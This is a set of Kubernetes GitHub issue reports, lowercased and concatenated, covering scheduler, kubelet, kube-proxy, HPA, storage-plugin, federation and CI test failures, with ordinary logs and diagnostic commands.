we're seeing such failures:\r \r    \r error while scaling rc load-small-279 to 3 replicas: scaling the resource failed with: unable to get client for replicationcontrollers: unable to get full preferred group-version-resource for replicationcontrollers: the cache has not been filled yet\r    \r \r in the load test in all our scalability jobs running against head. for e.g:\r \r - https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability?before=10414\r - https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-kubemark-100-gce?before=6124\r - https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce?before=11606\r \r /cc @kubernetes/sig-scalability-bugs  @porridge \r

when checking whether pod can be deleted or not, podvolumesexist should check whether there are still volumes for the pod have not yet cleaned up. before, this function only checks volume manager's actual state to see whether volumes exist. however, when kubelet restarts, actual state might not represent the true situation. pr  61071 adds a check which directly reads pod volumes directories from disk. and check whether the volumes are mounted there.\r there is an issue that for some volume plugins, they might not mount volumes so this check will not work well for those plugins. will try to address the issue after 1.10 release.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r \r  \r >  \r i was using code from master, and set  api_host=172.17.0.1 , and  hack/local-up-cluster.sh  report error as follows, but i found that  172.17.0.1  is not using  8080 .\r \r    \r root@gyliu-dev1:~/go/src/k8s.io/kubernetes  api_host=172.17.0.1 hack/local-up-cluster.sh\r warning : the kubelet is configured to not fail even if swap is enabled; production deployments should disable swap.\r make: entering directory '/root/go/src/k8s.io/kubernetes'\r make 1 : entering directory '/root/go/src/k8s.io/kubernetes'\r make 1 : leaving directory '/root/go/src/k8s.io/kubernetes'\r +++  0703 16:24:13  building go targets for linux/amd64:\r     cmd/kubectl\r     cmd/hyperkube\r make: leaving directory '/root/go/src/k8s.io/kubernetes'\r warning: no swap limit support\r kubelet cgroup driver defaulted to use: cgroupfs\r <!doctype html public \ -//w3c//dtd html 4.01//en\  \ http://www.w3.org/tr/html4/strict.dtd\ >\r <html><head>\r <meta type=\ copyright\  content=\ copyright  c  1996-2015 the squid software foundation and contributors\ >\r <meta http-equiv=\ content-type\  content=\ text/html; charset=utf-8\ >\r <title>error: the requested url could not be retrieved</title>\r <style type=\ text/css\ ><!--\r  / \r    copyright  c  1996-2015 the squid software foundation and contributors\r   \r    squid software is distributed under gplv2+ license and includes\r    contributions from numerous individuals and organizations.\r    please see the copying and contributors files for details.\r   /\r \r / \r  stylesheet for squid error pages\r  adapted from design by free css templates\r  http://www.freecsstemplates.org\r  released for free under a creative commons attribution 2.5 license\r  /\r \r /  page basics  /\r   {\r         font-family: verdana, sans-serif;\r }\r \r html body {\r         margin: 0;\r         padding: 0;\r         background:  efefef;\r         font-size: 12px;\r         color:  1e1e1e;\r }\r \r /  page displayed title area  /\r  titles {\r         margin-left: 15px;\r         padding: 10px;\r         padding-left: 100px;\r         background: url '/squid-internal-static/icons/sn.png'  no-repeat left;\r }\r \r /  initial title  /\r  titles h1 {\r         color:  000000;\r }\r  titles h2 {\r         color:  000000;\r }\r \r /  special event: ftp success page titles  /\r  titles ftpsuccess {\r         background-color: 00ff00;\r         width:100%;\r }\r \r /  page displayed body content area  /\r  content {\r         padding: 10px;\r         background:  ffffff;\r }\r \r /  general text  /\r p {\r }\r \r /  error brief description  /\r  error p {\r }\r \r /  some data which may have caused the problem  /\r  data {\r }\r \r /  the error message received from the system or other software  /\r  sysmsg {\r }\r \r pre {\r     font-family:sans-serif;\r }\r \r /  special event: ftp / gopher directory listing  /\r  dirmsg {\r     font-family: courier;\r     color: black;\r     font-size: 10pt;\r }\r  dirlisting {\r     margin-left: 2%;\r     margin-right: 2%;\r }\r  dirlisting tr.entry td.icon,td.filename,td.size,td.date {\r     border-bottom: groove;\r }\r  dirlisting td.size {\r     width: 50px;\r     text-align: right;\r     padding-right: 5px;\r }\r \r /  horizontal lines  /\r hr {\r         margin: 0;\r }\r \r /  page displayed footer area  /\r  footer {\r         font-size: 9px;\r         padding-left: 10px;\r }\r \r \r body\r :lang fa  { direction: rtl; font-size: 100%; font-family: tahoma, roya, sans-serif; float: right; }\r :lang he  { direction: rtl; }\r  --></style>\r </head><body id=err_connect_fail>\r <div id=\ titles\ >\r <h1>error</h1>\r <h2>the requested url could not be retrieved</h2>\r </div>\r <hr>\r \r <div id=\ content\ >\r <p>the following error was encountered while trying to retrieve the url: <a href=\ http://172.17.0.1:8080/\ >http://172.17.0.1:8080/</a></p>\r \r <blockquote id=\ error\ >\r <p><b>connection to 172.17.0.1 failed.</b></p>\r </blockquote>\r \r <p id=\ sysmsg\ >the system returned: <i> 110  connection timed out</i></p>\r \r <p>the remote host or network may be down. please try the request again.</p>\r \r <p>your cache administrator is <a href=\ mailto:webmaster?subject=cacheerrorinfo%20-%20err_connect_fail&amp;body=cachehost%3a%20proxy1%0d%0aerrpage%3a%20err_connect_fail%0d%0aerr%3a%20 110 %20connection%20timed%20out%0d%0atimestamp%3a%20tue,%2003%20jul%202018%2023%3a25%3a40%20gmt%0d%0a%0d%0aclientip%3a%20172.16.250.242%0d%0aserverip%3a%20172.17.0.1%0d%0a%0d%0ahttp%20request%3a%0d%0aget%20%2f%20http%2f1.1%0auser-agent%3a%20curl%2f7.47.0%0d%0aaccept%3a%20 %2f %0d%0aproxy-connection%3a%20keep-alive%0d%0ahost%3a%20172.17.0.1%3a8080%0d%0a%0d%0a%0d%0a\ >webmaster</a>.</p>\r \r <br>\r </div>\r \r <hr>\r <div id=\ footer\ >\r <p>generated tue, 03 jul 2018 23:25:40 gmt by proxy1  squid </p>\r <!-- err_connect_fail -->\r </div>\r </body></html>\r error starting api server, exiting. some process on 172.17.0.1 is serving already on 8080\r

is this a bug report or feature request?  :\r  \r \r   what happened  :\r when hostname-override is set or changed  in kubelet, we can find that there will be new node coming up while the original one becomes notready. maybe deleting the original node is better, right?\r \r   what you expected to happen  :\r delete original node when hostname-override is set.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. specify a new name in the hostname-override.\r 2. restart kubelet.\r 3.  kubectl get node , and you will find the original one becomes notready.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10, all versions in fact.\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r what happened:\r \r when trying to deploy a storage class, with the 'vmware vsphere volume' provisioner, i can't seem to add a pvc to it, it fails with the following message:\r \r  type reason age from message\r \r events:\r \r   type     reason              age              from                         message\r   ----     ------              ----             ----                         -------\r   warning  provisioningfailed  4s  x2 over 4s   persistentvolume-controller  no volume plugin matched\r  \r \r i've also tried to follow the following tutorial and adding it manually, which results in the same error: https://github.com/kubernetes/examples/blob/master/staging/volumes/vsphere/readme.md\r \r

starting with merge 4d182cec0, all gke-releated blocking tests started failing.\r \r example failures: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-reboot/18413\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/33151\r \r changes here: https://github.com/kubernetes/kubernetes/compare/46ec13cf7...4d182cec0\r \r given that the failure message is:\r \r    \r w1023 08:02:31.946   zone: u'us-central1-f'>  finished with error: all cluster resources were brought up, but the cluster api is reporting that: component \ kube-apiserver\  from endpoint \ gke-c046389281d583ecc15d-9dcb\  is unhealthy.\r    \r \r ... this is almost certain due to this commit:\r \r https://github.com/kubernetes/kubernetes/commit/371b1e7fed2fd7806640ac202b253f90aebfd61e\r https://github.com/kubernetes/kubernetes/pull/70105\r \r so, @mikedanese this one appears to be yours.\r \r   /  \r

based on the discussion in sig-arch on oct 25 and previous experiment in https://github.com/kubernetes/kubernetes/pull/69333, we should start by forking glog, cleanup the code to suit our use cases and switch over to it. also see issue https://github.com/kubernetes/kubernetes/issues/61006\r \r tasks:\r -  x  request a new repository for the forked code in https://github.com/dims/klog in the kubernetes org ? \r -  x  update k8s.io/klog readme.md to explain it is a permanent fork.\r -     update github.com/kubernetes/repo-infra/kazel/kazel.go to use klog\r -     update k8s.io/gengo/ to use klog\r -     update k8s.io/kube-openapi/ to use klog\r -     update github.com/google/cadvisor to use klog\r -     vendor all the repos above into k/k and switch k/k from glog to klog\r -     add verify scripts to prevent adding any new vendor dependencies that use glog\r \r cc @thockin @tallclair @erictune @justinsb @lavalamp \r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r if  kube-proxy  restarts it reports\r \r    \r e1103 10:13:51.136327       1 proxier.go:532  error removing iptables rules in ipvs proxier: error deleting chain \ kube-mark-masq\ : exit status 1: iptables: too many links.\r    \r \r this is due to another chain referencing  kube-mark-masq . this would not happen if the chains are first all flushed and then removed.\r \r some examples of chains referencing  kube-mark-masq :\r \r    \r -a kube-nodeports -p tcp -m comment --comment \ kube-system/nginx-ingress-controller:https\  -m tcp --dport 30011 -j kube-mark-masq\r -a kube-sep-yjlyrffd3hjjoltw -s 172.20.32.131/32 -j kube-mark-masq\r -a kube-services ! -s 172.20.0.0/16 -d 172.31.0.10/32 -p udp -m comment --comment \ kube-system/coredns:dns cluster ip\  -m udp --dport 53 -j kube-mark-masq\r    \r \r see: https://github.com/alexjx/kubernetes/blob/4ca62e4f39c59ebe66a59685a8f020315dfd3016/pkg/proxy/ipvs/proxier.go l520\r \r we are running in  iptables  mode. the error comes from ipvs cleanup.\r \r   what you expected to happen  :\r \r that all chains get cleaned up properly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r start the proxy in  iptables  mode. kill it. start it again. uncertain if specific services cause this problem. i can reproduce this in an almost empty cluster.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.0\ , gitcommit:\ 0ed33881dc4355495f623c6f22e7dd0b7632b7c0\ , gittreestate:\ clean\ , builddate:\ 2018-09-27t17:05:32z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:43:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r aws\r \r - os  e.g. from /etc/os-release :\r name=\ container linux by coreos\ \r id=coreos\r version=1855.5.0\r version_id=1855.5.0\r build_id=2018-10-22-2305\r pretty_name=\ container linux by coreos 1855.5.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r - kernel  e.g.  uname -a  :\r linux ip-10-1-2-53.eu-central-1.compute.internal 4.14.74-coreos  1 smp mon oct 22 22:12:42 utc 2018 x86_64 intel r  xeon r  platinum 8175m cpu @ 2.50ghz genuineintel gnu/linux\r \r <!-- do not edit below this line -->\r 

overview  users may want to schedule pods based on additional resources beyond the dimensions that kubernetes already accounts and isolates. any attempt at static enumeration would be incomplete, so this proposal discusses a plan for _discovering_, _bookkeeping_, and _isolating_ custom resource types.     discovery  discovery involves enumerating available features and resources on the node so they are available to the scheduling coordinator  in kubernetes, the api server and scheduler . this may involve being opinionated about how to represent the features.     bookkeeping  bookkeeping or _schedulability_ captures making the user aware of the available features and allowing them to target their workload against nodes that have specific features. for kubernetes, this includes the ability to target pod placements to nodes that meet certain criteria.     isolation  isolation, or enforcing allocations, may range from simply ensuring exclusive access to a resource for a task, to fine-grained sharing between co-located tasks. for devices like fpgas, mics and gpgpus, the user may want exclusive access. features that offer a sharable capacity, such as intel cat, need to be accounted accordingly while actuating the necessary mechanisms to ensure that utilization does not exceed the allocated limits.    proposal  for a more in-depth discussion of the requirements, mechanisms and proposed changes please refer to  and also comment/edit  this shared document:  goo.gl/fjokie  https://goo.gl/fjokie .  after discussing and solidifying the ideas outlined in the document, we can add them to the  docs/proposals  and/or  docs/design  directories. advice from maintainers on what belongs where is welcome.    upstream work items -   28311: hardware feature discovery to add node labels with a unique prefix  e.g.  scheduler.alpha.intel.com/<feature-name>  .  https://github.com/kubernetes/kubernetes/issues/28311  -   28312: accounting and feasibility for custom integer resources in the api server and scheduler.  https://github.com/kubernetes/kubernetes/issues/28312  -   28313: support for isolating custom resources.  https://github.com/kubernetes/kubernetes/issues/28313   see also   28315: online resource oversubscription and external qos control  https://github.com/kubernetes/kubernetes/issues/28315   cc @davidopp @dchen1107 @balajismaniam

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r hpa \r hpa limits \r scaling limits \r max scale up\r max scale down \r \r ---\r \r   is this a bug report or feature request?    choose one :\r feature request\r \r hpa should have some specifications on limiting the number of pods that can be scaled up/down in a given scaling period. this is mainly useful for replica sets that receive bursts of traffic. currently hpa will aggressively scale down based on cpu metrics which can be undesirable. at the moment this isn't a problem for scaling up because of a hard coded limit  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/podautoscaler/horizontal.go l361-l365 . having a configurable specification can give cluster admins the ability to control this. if this is a desired feature i'd love to get my hands dirty and open a preliminary pr to get started. \r \r /cc @directxman12 \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r yes\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  \r nodenotschedulable becomes nodeready after failover.\r \r   is this a bug report or feature request?    choose one :\r  bug report\r \r   kubernetes version    use  kubectl version  :\r v1.7.0-alpha.3.183+3fbfafdd0a86c2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : vsphere\r -   os    e.g. from /etc/os-release : photon\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r scheduling is enabled on all nodes.\r \r    \r $ kubectl get nodes\r name      status                     age       version\r master    ready,schedulingdisabled   11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node1     ready                      11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node2     ready                      11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node3     ready                      11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node4     ready                      11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r    \r \r \r administrator disables scheduling on node2.\r \r    \r $ kubectl cordon node2\r node \ node2\  cordoned\r    \r \r \r    \r $ kubectl get nodes\r name      status                     age       version\r master    ready,schedulingdisabled   11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node1     ready                      11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node2     ready,schedulingdisabled   11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node3     ready                      11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node4     ready                      11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r    \r \r esx host on which node2 is deployed, got powered off.\r vsphere ha is enabled, so node2 is restarted on another available host.\r \r    \r $ kubectl get nodes\r name      status                        age       version\r master    ready,schedulingdisabled      11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node1     ready                         11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node2     notready,schedulingdisabled   11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node3     ready                         11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node4     ready                         11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r    \r \r \r after node2 is up. it is marked as ready and schedule is disabled on the node. this is expected.\r \r    \r $ kubectl get nodes\r name      status                     age       version\r master    ready,schedulingdisabled   11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node1     ready                      11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node2     ready,schedulingdisabled   11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node3     ready                      11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node4     ready                      11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r    \r \r    \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   21m\t\t21m\t\t1\tkubelet, node2\t\t\t\tnormal\t\tnodenotschedulable\tnode node2 status is now: nodenotschedulable\r   10m\t\t10m\t\t1\tkubelet, node2\t\t\t\tnormal\t\tstarting\t\tstarting kubelet.\r   10m\t\t10m\t\t1\tkubelet, node2\t\t\t\tnormal\t\tnodeallocatableenforced\tupdated node allocatable limit across pods\r   10m\t\t10m\t\t2\tkubelet, node2\t\t\t\tnormal\t\tnodehassufficientdisk\tnode node2 status is now: nodehassufficientdisk\r   10m\t\t10m\t\t2\tkubelet, node2\t\t\t\tnormal\t\tnodehassufficientmemory\tnode node2 status is now: nodehassufficientmemory\r   10m\t\t10m\t\t2\tkubelet, node2\t\t\t\tnormal\t\tnodehasnodiskpressure\tnode node2 status is now: nodehasnodiskpressure\r   10m\t\t10m\t\t1\tkubelet, node2\t\t\t\twarning\t\trebooted\t\tnode node2 has been rebooted, boot id: 7bd36c0b-2be5-4b67-8a62-95e1fa614499\r   10m\t\t10m\t\t1\tkubelet, node2\t\t\t\tnormal\t\tnodeready\t\tnode node2 status is now: nodeready\r   10m\t\t10m\t\t1\tkubelet, node2\t\t\t\tnormal\t\tnodenotschedulable\tnode node2 status is now: nodenotschedulable\r   10m\t\t10m\t\t1\tkube-proxy, node2\t\t\tnormal\t\tstarting\t\tstarting kube-proxy.  \r    \r \r   again powered off the esx host on which node2 got migrated. but this time, node2 came back with scheduling enabled.  \r \r \r    \r $ kubectl get nodes\r name      status                     age       version\r master    ready,schedulingdisabled   12h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node1     ready                      11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node2     ready                      50s       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node3     ready                      11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r node4     ready                      11h       v1.7.0-alpha.3.183+3fbfafdd0a86c2\r    \r \r \r    \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   23m\t\t23m\t\t1\tkubelet, node2\t\t\t\tnormal\t\tnodenotschedulable\tnode node2 status is now: nodenotschedulable\r   13m\t\t13m\t\t1\tkubelet, node2\t\t\t\tnormal\t\tstarting\t\tstarting kubelet.\r   13m\t\t13m\t\t1\tkubelet, node2\t\t\t\tnormal\t\tnodeallocatableenforced\tupdated node allocatable limit across pods\r   13m\t\t13m\t\t2\tkubelet, node2\t\t\t\tnormal\t\tnodehassufficientdisk\tnode node2 status is now: nodehassufficientdisk\r   13m\t\t13m\t\t2\tkubelet, node2\t\t\t\tnormal\t\tnodehassufficientmemory\tnode node2 status is now: nodehassufficientmemory\r   13m\t\t13m\t\t2\tkubelet, node2\t\t\t\tnormal\t\tnodehasnodiskpressure\tnode node2 status is now: nodehasnodiskpressure\r   13m\t\t13m\t\t1\tkubelet, node2\t\t\t\twarning\t\trebooted\t\tnode node2 has been rebooted, boot id: 7bd36c0b-2be5-4b67-8a62-95e1fa614499\r   13m\t\t13m\t\t1\tkubelet, node2\t\t\t\tnormal\t\tnodeready\t\tnode node2 status is now: nodeready\r   13m\t\t13m\t\t1\tkubelet, node2\t\t\t\tnormal\t\tnodenotschedulable\tnode node2 status is now: nodenotschedulable\r   12m\t\t12m\t\t1\tkube-proxy, node2\t\t\tnormal\t\tstarting\t\tstarting kube-proxy.\r   46s\t\t46s\t\t1\tkubelet, node2\t\t\t\tnormal\t\tstarting\t\tstarting kubelet.\r   46s\t\t46s\t\t2\tkubelet, node2\t\t\t\tnormal\t\tnodehassufficientdisk\tnode node2 status is now: nodehassufficientdisk\r   46s\t\t46s\t\t2\tkubelet, node2\t\t\t\tnormal\t\tnodehassufficientmemory\tnode node2 status is now: nodehassufficientmemory\r   46s\t\t46s\t\t2\tkubelet, node2\t\t\t\tnormal\t\tnodehasnodiskpressure\tnode node2 status is now: nodehasnodiskpressure\r   46s\t\t46s\t\t1\tkubelet, node2\t\t\t\tnormal\t\tnodeallocatableenforced\tupdated node allocatable limit across pods\r   46s\t\t46s\t\t1\tkubelet, node2\t\t\t\tnormal\t\tnodeready\t\tnode node2 status is now: nodeready\r   39s\t\t39s\t\t1\tkube-proxy, node2\t\t\tnormal\t\tstarting\t\tstarting kube-proxy.\r    \r \r \r   what you expected to happen  :\r if admin has cordoned particular node, after node vm failover, node should remain in notschedulable state.\r \r   how to reproduce it    as minimally and precisely as possible :\r enable vsphere ha. and power off esx host on which kubernetes node is deployed.\r \r   anything else we need to know  :\r issue is not always reproducible, as you can see from event messages.\r \r events after 1st failover attempt. node status looks good.\r \r    \r nodenotschedulable\tnode node2 status is now: nodenotschedulable\r starting\t\tstarting kubelet.\r nodeallocatableenforced\tupdated node allocatable limit across pods\r nodehassufficientdisk\tnode node2 status is now: nodehassufficientdisk\r nodehassufficientmemory\tnode node2 status is now: nodehassufficientmemory\r nodehasnodiskpressure\tnode node2 status is now: nodehasnodiskpressure\r rebooted\t\tnode node2 has been rebooted, boot id: 7bd36c0b-2be5-4b67-8a62-95e1fa614499\r nodeready\t\tnode node2 status is now: nodeready\r nodenotschedulable\tnode node2 status is now: nodenotschedulable\r    \r \r events after 2nd failover attempt. node status changed to nodeready\r \r    \r starting\t\tstarting kube-proxy.\r starting\t\tstarting kubelet.\r nodehassufficientdisk\tnode node2 status is now: nodehassufficientdisk\r nodehassufficientmemory\tnode node2 status is now: nodehassufficientmemory\r nodehasnodiskpressure\tnode node2 status is now: nodehasnodiskpressure\r nodeallocatableenforced\tupdated node allocatable limit across pods\r nodeready\t\tnode node2 status is now: nodeready\r starting kube-proxy.\r    \r \r \r

occasionally we see that the pre-submit tests of federation  pull-kubernetes-federation-e2e-gce  fails in  ./federation/cluster/federation-up.sh . here is the excerpts from one such failure\r    \r w0602 20:03:08.914  f0602 20:03:08.913648    3570 helpers.go:120  error: service account already exists in joining cluster\r w0602 20:03:08.918  2017/06/02 20:03:08 util.go:131: step './federation/cluster/federation-up.sh' finished in 1m40.75685465s\r w0602 20:03:08.918  2017/06/02 20:03:08 e2e.go:410: dumping federation logs to: /workspace/_artifacts\r w0602 20:03:08.918  2017/06/02 20:03:08 util.go:129: running: ./federation/cluster/log-dump.sh /workspace/_artifacts\r w0602 20:03:08.970  project: k8s-jkns-pr-bldr-e2e-gce-fdrtn\r w0602 20:03:08.970  zone: us-central1-f\r i0602 20:03:09.070  dumping federation and dns pod logs to /workspace/_artifacts\r w0602 20:03:14.350  2017/06/02 20:03:14 util.go:131: step './federation/cluster/log-dump.sh /workspace/_artifacts' finished in 5.431348858s\r w0602 20:03:14.350  2017/06/02 20:03:14 util.go:129: running: ./federation/cluster/federation-down.sh\r w0602 20:03:14.403  project: k8s-jkns-pr-bldr-e2e-gce-fdrtn\r w0602 20:03:14.403  zone: us-central1-f\r i0602 20:03:14.707  cleaning federation control plane objects\r i0602 20:03:15.024  pod \ e2e-f8n-agent-pr-93-0-apiserver-348672285-938ws\  deleted\r i0602 20:03:15.059  pod \ e2e-f8n-agent-pr-93-0-controller-manager-2186558600-c0bh8\  deleted\r i0602 20:03:15.300  service \ e2e-f8n-agent-pr-93-0-apiserver\  deleted\r i0602 20:03:18.464  deployment \ e2e-f8n-agent-pr-93-0-apiserver\  deleted\r i0602 20:03:21.575  deployment \ e2e-f8n-agent-pr-93-0-controller-manager\  deleted\r i0602 20:03:21.880  persistentvolumeclaim \ e2e-f8n-agent-pr-93-0-apiserver-etcd-claim\  deleted\r i0602 20:03:21.912  persistentvolume \ pvc-17ecc7f9-4809-11e7-b884-42010a80000a\  deleted\r i0602 20:03:21.929  pod \ e2e-f8n-agent-pr-93-0-apiserver-348672285-gb0rp\  deleted\r i0602 20:03:21.942  pod \ e2e-f8n-agent-pr-93-0-controller-manager-2186558600-c0bh8\  deleted\r i0602 20:03:21.996  secret \ default-token-fw7k4\  deleted\r i0602 20:03:22.057  secret \ e2e-f8n-agent-pr-93-0-apiserver-credentials\  deleted\r i0602 20:03:22.087  secret \ e2e-f8n-agent-pr-93-0-controller-manager-kubeconfig\  deleted\r i0602 20:03:22.114  secret \ federation-controller-manager-token-mqn7v\  deleted\r i0602 20:03:22.393  namespace \ f8n-system-agent-pr-93-0\  deleted\r i0602 20:03:33.190  +++  0602 20:03:33  waiting for 2 minutes to allow controllers to clean up federation components...\r w0602 20:05:33.194  2017/06/02 20:05:33 util.go:131: step './federation/cluster/federation-down.sh' finished in 2m18.843064428s\r w0602 20:05:33.194  2017/06/02 20:05:33 none.go:41: noop down  \r w0602 20:05:33.263  2017/06/02 20:05:33 main.go:161: saved xml output to /workspace/_artifacts/junit_runner.xml.\r w0602 20:05:33.263  2017/06/02 20:05:33 main.go:195: something went wrong: error starting federation: error during ./federation/cluster/federation-up.sh: exit status 255\r    \r \r it looks like the service account representing the k8s cluster which is to be joined to federation already exist. maybe the uniqueness of service account names is not that unique in the cases where it is failing.\r \r some instances of failures where it happened. \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/45251/pull-kubernetes-federation-e2e-gce/8528/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46672/pull-kubernetes-federation-e2e-gce/8518/\r \r /assign @perotinus \r /cc @madhusudancs @kubernetes/sig-federation-bugs

bug  : the hpa controller submits updates every update interval, even if nothing has changed.  in clusters with large numbers of hpas, as well as clusters with smaller hpa sync periods, this can cause an unnecessarily high volume of writes.\r \r the hpa controller should only send updates if it actually has a change to the hpa status object.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature request\r  \r @kubernetes/sig-storage\r   what happened  :\r nutanix volume plugin will allow allow use of a nutanix cluster for persistent volume. this will also allow dynamic volume provisioning using a storage class.\r \r   what you expected to happen  :\r \r na\r   how to reproduce it  as minimally and precisely as possible   :\r na\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r \r the scheduler command line flag documentation notes that both \ --address\  and \ --port\  are deprecated flags and suggest alternatives  \ --bind-address\  and \ --secure-port\  respectively . those alternatives are not listed and probably not implemented.\r \r https://kubernetes.io/docs/reference/command-line-tools-reference/kube-scheduler/\r \r /cc @misterikkit

when we create bind mounts in  setup  function - we should also include user provided mount options coming from pv or storageclass. \r \r this will ensure that bind and remount operations have access to full mount options rather than a partial list.\r \r related to https://github.com/kubernetes/kubernetes/pull/68626 discussion_r218534387\r \r  \r /assign\r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r  --dry-run  and   --feature-gates=dynamickubeletconfig=true  don't work together\r \r    \r   kubeadm init --apiserver-advertise-address 10.138.136.208 --pod-network-cidr 172.16.0.0/12 --ignore-preflight-errors=all --feature-gates=coredns=true --feature-gates=dynamickubeletconfig=true --dry-run\r  init  using kubernetes version: v1.12.2\r ...\r  kubelet  warning: the dynamic kubelet config feature is beta, but off by default. it hasn't been well-tested yet at this stage, use with caution.\r  dryrun  would perform action get on resource \ configmaps\  in api group \ core/v1\ \r  dryrun  resource name: \ kubelet-config-1.12\ \r error enabling dynamic kubelet configuration: couldn't get the kubelet configuration configmap: configmaps \ kubelet-config-1.12\  not found\r    \r \r \r \r   what you expected to happen  :\r \r i know this is a very new and not well-tested feature, but just reporting in case it's a corner case nobody has tested yet.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see above\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r   -  kubeadm version: &version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:51:33z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration:\r   -  digitalocean  not that it matters, i haven't gotten very far into installing\r - os  e.g. from /etc/os-release :\r   -  ubuntu 18.04  bionic \r - kernel  e.g.  uname -a  :\r   -  linux ubuntu001 4.15.0-38-generic  41-ubuntu smp wed oct 10 10:59:38 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r   -  n/a \r - others:\r \r <!-- do not edit below this line -->\r 

